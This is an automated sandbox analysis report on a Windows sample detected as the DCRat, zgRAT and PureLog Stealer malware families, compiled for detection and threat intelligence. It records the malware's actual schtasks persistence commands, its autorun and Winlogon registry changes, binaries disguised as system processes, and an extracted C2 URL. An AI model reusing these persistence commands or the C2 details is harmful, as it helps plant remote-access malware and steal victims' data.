Edit tour

Windows Analysis Report
7aHY4r6vXR.exe

Overview

General Information

Sample name:	7aHY4r6vXR.exe renamed because original name is a hash value
Original sample name:	ccd01051f9e8bf3301b3bdd406f0bc24.exe
Analysis ID:	1587305
MD5:	ccd01051f9e8bf3301b3bdd406f0bc24
SHA1:	4e9f71953bd348261e9342f7dd230f274d808e4a
SHA256:	4fa025632546c9a5c346cde16c86c5d129d8381ace82e1a7d59ca865f948c533
Tags:	DCRatexeuser-abuse_ch
Infos:

Detection

DCRat, PureLog Stealer, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Schedule system process

Yara detected DCRat

Yara detected PureLog Stealer

Yara detected zgRAT

AI detected suspicious sample

Creates an autostart registry key pointing to binary in C:\Windows

Creates an undocumented autostart registry key

Creates multiple autostart registry keys

Creates processes via WMI

Drops PE files to the user root directory

Infects executable files (exe, dll, sys, html)

Machine Learning detection for dropped file

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Execution from Suspicious Folder

Sigma detected: Files With System Process Name In Unsuspected Locations

Uses schtasks.exe or at.exe to add and modify task schedules

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Allocates memory with a write watch (potentially for evading sandboxes)

Compiles C# or VB.Net code

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the user directory

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

File is packed with WinRar

Found WSH timer for Javascript or VBS script (likely evasive script)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found potential string decryption / allocating functions

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: CurrentVersion NT Autorun Keys Modification

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

7aHY4r6vXR.exe (PID: 6596 cmdline: "C:\Users\user\Desktop\7aHY4r6vXR.exe" MD5: CCD01051F9E8BF3301B3BDD406F0BC24)

wscript.exe (PID: 1460 cmdline: "C:\Windows\System32\WScript.exe" "C:\ChainBroker\WiJ0Q2cIafyWfcOMJ8mrmlFuDvVbi9nZIDl7gyLiG4eFyDELulT2kNl2MWww.vbe" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 3192 cmdline: C:\Windows\system32\cmd.exe /c ""C:\ChainBroker\IrbV6YakyWCvQIuALcoa2IhBwWZ19ItpwUlqov7vyFBfFx5s16nM.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

bridgeServerFontSavesMonitor.exe (PID: 6996 cmdline: "C:\ChainBroker/bridgeServerFontSavesMonitor.exe" MD5: 39953ACD4FD32884E6CAD0D1E4688051)

schtasks.exe (PID: 6632 cmdline: schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOwS" /sc MINUTE /mo 13 /tr "'C:\Users\Default User\Local Settings\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 1748 cmdline: schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOw" /sc ONLOGON /tr "'C:\Users\Default User\Local Settings\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 1196 cmdline: schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOwS" /sc MINUTE /mo 6 /tr "'C:\Users\Default User\Local Settings\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

csc.exe (PID: 732 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\axeflxig\axeflxig.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

conhost.exe (PID: 3620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cvtres.exe (PID: 4900 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES69DB.tmp" "c:\Windows\System32\CSCAAFDA77B4B0340CF902F598B7E2DA6.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

schtasks.exe (PID: 1860 cmdline: schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOwS" /sc MINUTE /mo 6 /tr "'C:\Windows\Migration\WTR\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5004 cmdline: schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOw" /sc ONLOGON /tr "'C:\Windows\Migration\WTR\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6308 cmdline: schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOwS" /sc MINUTE /mo 14 /tr "'C:\Windows\Migration\WTR\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6632 cmdline: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 12 /tr "'C:\Windows\SchCache\RuntimeBroker.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5772 cmdline: schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Windows\SchCache\RuntimeBroker.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 3452 cmdline: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 7 /tr "'C:\Windows\SchCache\RuntimeBroker.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6020 cmdline: schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOwS" /sc MINUTE /mo 13 /tr "'C:\Windows\assembly\GAC_32\System.Data.OracleClient\2.0.0.0__b77a5c561934e089\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 3084 cmdline: schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOw" /sc ONLOGON /tr "'C:\Windows\assembly\GAC_32\System.Data.OracleClient\2.0.0.0__b77a5c561934e089\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6592 cmdline: schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOwS" /sc MINUTE /mo 13 /tr "'C:\Windows\assembly\GAC_32\System.Data.OracleClient\2.0.0.0__b77a5c561934e089\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 2920 cmdline: schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOwS" /sc MINUTE /mo 7 /tr "'C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 4520 cmdline: schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOw" /sc ONLOGON /tr "'C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 1748 cmdline: schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOwS" /sc MINUTE /mo 6 /tr "'C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6016 cmdline: schtasks.exe /create /tn "bridgeServerFontSavesMonitorb" /sc MINUTE /mo 9 /tr "'C:\ChainBroker\bridgeServerFontSavesMonitor.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6020 cmdline: schtasks.exe /create /tn "bridgeServerFontSavesMonitor" /sc ONLOGON /tr "'C:\ChainBroker\bridgeServerFontSavesMonitor.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6644 cmdline: schtasks.exe /create /tn "bridgeServerFontSavesMonitorb" /sc MINUTE /mo 7 /tr "'C:\ChainBroker\bridgeServerFontSavesMonitor.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 6016 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\FeErzF7oGb.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7216 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

w32tm.exe (PID: 7240 cmdline: w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 MD5: 81A82132737224D324A3E8DA993E2FB5)

SfLAFHFXIbHzHGgilQgXtKOw.exe (PID: 7576 cmdline: "C:\Users\Default User\Local Settings\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe" MD5: 39953ACD4FD32884E6CAD0D1E4688051)

SfLAFHFXIbHzHGgilQgXtKOw.exe (PID: 1748 cmdline: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe MD5: 39953ACD4FD32884E6CAD0D1E4688051)

SfLAFHFXIbHzHGgilQgXtKOw.exe (PID: 6644 cmdline: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe MD5: 39953ACD4FD32884E6CAD0D1E4688051)

bridgeServerFontSavesMonitor.exe (PID: 7352 cmdline: C:\ChainBroker\bridgeServerFontSavesMonitor.exe MD5: 39953ACD4FD32884E6CAD0D1E4688051)

bridgeServerFontSavesMonitor.exe (PID: 7364 cmdline: C:\ChainBroker\bridgeServerFontSavesMonitor.exe MD5: 39953ACD4FD32884E6CAD0D1E4688051)

SfLAFHFXIbHzHGgilQgXtKOw.exe (PID: 7804 cmdline: "C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe" MD5: 39953ACD4FD32884E6CAD0D1E4688051)

bridgeServerFontSavesMonitor.exe (PID: 8036 cmdline: "C:\ChainBroker\bridgeServerFontSavesMonitor.exe" MD5: 39953ACD4FD32884E6CAD0D1E4688051)

SfLAFHFXIbHzHGgilQgXtKOw.exe (PID: 8120 cmdline: "C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe" MD5: 39953ACD4FD32884E6CAD0D1E4688051)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Malware Configuration

Threatname: DCRat

{"C2 url": "http://506691cm.renyash.ru/vmpoll", "MUTEX": "DCR_MUTEX-ir7LGSrsk71YAT4WpA4X", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "true", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
7aHY4r6vXR.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
7aHY4r6vXR.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Windows\SchCache\RuntimeBroker.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Windows\SchCache\RuntimeBroker.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\ChainBroker\bridgeServerFontSavesMonitor.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\ChainBroker\bridgeServerFontSavesMonitor.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\ChainBroker\bridgeServerFontSavesMonitor.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\ChainBroker\bridgeServerFontSavesMonitor.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 7 entries

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1734834073.0000000006F18000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000004.00000000.1794524656.0000000000CA2000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000003.1735483300.00000000058B1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000004.00000002.1854260219.000000001321B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: bridgeServerFontSavesMonitor.exe PID: 6996	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security

Unpacked PEs

Source	Rule	Description	Author
4.0.bridgeServerFontSavesMonitor.exe.ca0000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
4.0.bridgeServerFontSavesMonitor.exe.ca0000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.3.7aHY4r6vXR.exe.58ff717.1.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.3.7aHY4r6vXR.exe.58ff717.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.3.7aHY4r6vXR.exe.6f66717.0.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.3.7aHY4r6vXR.exe.6f66717.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.3.7aHY4r6vXR.exe.58ff717.1.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.3.7aHY4r6vXR.exe.58ff717.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.3.7aHY4r6vXR.exe.6f66717.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.3.7aHY4r6vXR.exe.6f66717.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 5 entries

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Users\Default User\Local Settings\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe" , CommandLine: "C:\Users\Default User\Local Settings\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe" , CommandLine|base64offset|contains: , Image: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe, NewProcessName: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe, OriginalFileName: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\FeErzF7oGb.bat" , ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6016, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Users\Default User\Local Settings\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe" , ProcessId: 7576, ProcessName: SfLAFHFXIbHzHGgilQgXtKOw.exe

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\ChainBroker\bridgeServerFontSavesMonitor.exe, ProcessId: 6996, TargetFilename: C:\Windows\SchCache\RuntimeBroker.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\Default User\Local Settings\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe", EventID: 13, EventType: SetValue, Image: C:\ChainBroker\bridgeServerFontSavesMonitor.exe, ProcessId: 6996, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SfLAFHFXIbHzHGgilQgXtKOw

Sigma detected: CurrentVersion NT Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: explorer.exe, "C:\Users\Default User\Local Settings\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe", EventID: 13, EventType: SetValue, Image: C:\ChainBroker\bridgeServerFontSavesMonitor.exe, ProcessId: 6996, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\axeflxig\axeflxig.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\axeflxig\axeflxig.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\ChainBroker/bridgeServerFontSavesMonitor.exe", ParentImage: C:\ChainBroker\bridgeServerFontSavesMonitor.exe, ParentProcessId: 6996, ParentProcessName: bridgeServerFontSavesMonitor.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\axeflxig\axeflxig.cmdline", ProcessId: 732, ProcessName: csc.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\ChainBroker\WiJ0Q2cIafyWfcOMJ8mrmlFuDvVbi9nZIDl7gyLiG4eFyDELulT2kNl2MWww.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\ChainBroker\WiJ0Q2cIafyWfcOMJ8mrmlFuDvVbi9nZIDl7gyLiG4eFyDELulT2kNl2MWww.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\7aHY4r6vXR.exe", ParentImage: C:\Users\user\Desktop\7aHY4r6vXR.exe, ParentProcessId: 6596, ParentProcessName: 7aHY4r6vXR.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\ChainBroker\WiJ0Q2cIafyWfcOMJ8mrmlFuDvVbi9nZIDl7gyLiG4eFyDELulT2kNl2MWww.vbe" , ProcessId: 1460, ProcessName: wscript.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\ChainBroker\bridgeServerFontSavesMonitor.exe, ProcessId: 6996, TargetFilename: C:\Users\user\AppData\Local\Temp\axeflxig\axeflxig.cmdline

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\axeflxig\axeflxig.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\axeflxig\axeflxig.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\ChainBroker/bridgeServerFontSavesMonitor.exe", ParentImage: C:\ChainBroker\bridgeServerFontSavesMonitor.exe, ParentProcessId: 6996, ParentProcessName: bridgeServerFontSavesMonitor.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\axeflxig\axeflxig.cmdline", ProcessId: 732, ProcessName: csc.exe

Persistence and Installation Behavior

Sigma detected: Schedule system process

Source: Process started

Author: Joe Security: Data: Command: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 12 /tr "'C:\Windows\SchCache\RuntimeBroker.exe'" /f, CommandLine: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 12 /tr "'C:\Windows\SchCache\RuntimeBroker.exe'" /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\ChainBroker/bridgeServerFontSavesMonitor.exe", ParentImage: C:\ChainBroker\bridgeServerFontSavesMonitor.exe, ParentProcessId: 6996, ParentProcessName: bridgeServerFontSavesMonitor.exe, ProcessCommandLine: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 12 /tr "'C:\Windows\SchCache\RuntimeBroker.exe'" /f, ProcessId: 6632, ProcessName: schtasks.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 7aHY4r6vXR.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Avira: detection malicious, Label: HEUR/AGEN.1339906
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Avira: detection malicious, Label: HEUR/AGEN.1339906
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Avira: detection malicious, Label: HEUR/AGEN.1339906
Source: C:\ChainBroker\WiJ0Q2cIafyWfcOMJ8mrmlFuDvVbi9nZIDl7gyLiG4eFyDELulT2kNl2MWww.vbe	Avira: detection malicious, Label: VBS/Runner.VPG
Source: C:\Users\user\Desktop\ARUSTYfT.log	Avira: detection malicious, Label: TR/PSW.Agent.qngqt
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Avira: detection malicious, Label: HEUR/AGEN.1339906
Source: C:\Users\user\Desktop\riACjval.log	Avira: detection malicious, Label: TR/AVI.Agent.updqb
Source: C:\Users\user\AppData\Local\Temp\FeErzF7oGb.bat	Avira: detection malicious, Label: BAT/Delbat.C
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Avira: detection malicious, Label: HEUR/AGEN.1339906
Source: C:\Windows\SchCache\RuntimeBroker.exe	Avira: detection malicious, Label: HEUR/AGEN.1339906

Found malware configuration

Source: 00000004.00000002.1854260219.000000001321B000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: DCRat {"C2 url": "http://506691cm.renyash.ru/vmpoll", "MUTEX": "DCR_MUTEX-ir7LGSrsk71YAT4WpA4X", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "true", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Multi AV Scanner detection for dropped file

Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	ReversingLabs: Detection: 83%
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Virustotal: Detection: 59%	Perma Link
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	ReversingLabs: Detection: 83%
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Virustotal: Detection: 59%	Perma Link
Source: C:\Users\user\Desktop\ARUSTYfT.log	ReversingLabs: Detection: 70%
Source: C:\Users\user\Desktop\ARUSTYfT.log	Virustotal: Detection: 69%	Perma Link
Source: C:\Users\user\Desktop\VObntHLa.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\VObntHLa.log	Virustotal: Detection: 34%	Perma Link
Source: C:\Users\user\Desktop\hzhmzTUD.log	Virustotal: Detection: 10%	Perma Link
Source: C:\Users\user\Desktop\riACjval.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	ReversingLabs: Detection: 83%
Source: C:\Windows\Migration\WTR\SfLAFHFXIbHzHGgilQgXtKOw.exe	ReversingLabs: Detection: 83%
Source: C:\Windows\SchCache\RuntimeBroker.exe	ReversingLabs: Detection: 83%
Source: C:\Windows\assembly\GAC_32\System.Data.OracleClient\2.0.0.0__b77a5c561934e089\SfLAFHFXIbHzHGgilQgXtKOw.exe	ReversingLabs: Detection: 83%

Multi AV Scanner detection for submitted file

Source: 7aHY4r6vXR.exe	Virustotal: Detection: 48%			Perma Link
Source: 7aHY4r6vXR.exe	ReversingLabs: Detection: 65%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 96.7% probability

Machine Learning detection for dropped file

Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\hzhmzTUD.log	Joe Sandbox ML: detected
Source: C:\Windows\System32\SecurityHealthSystray.exe	Joe Sandbox ML: detected
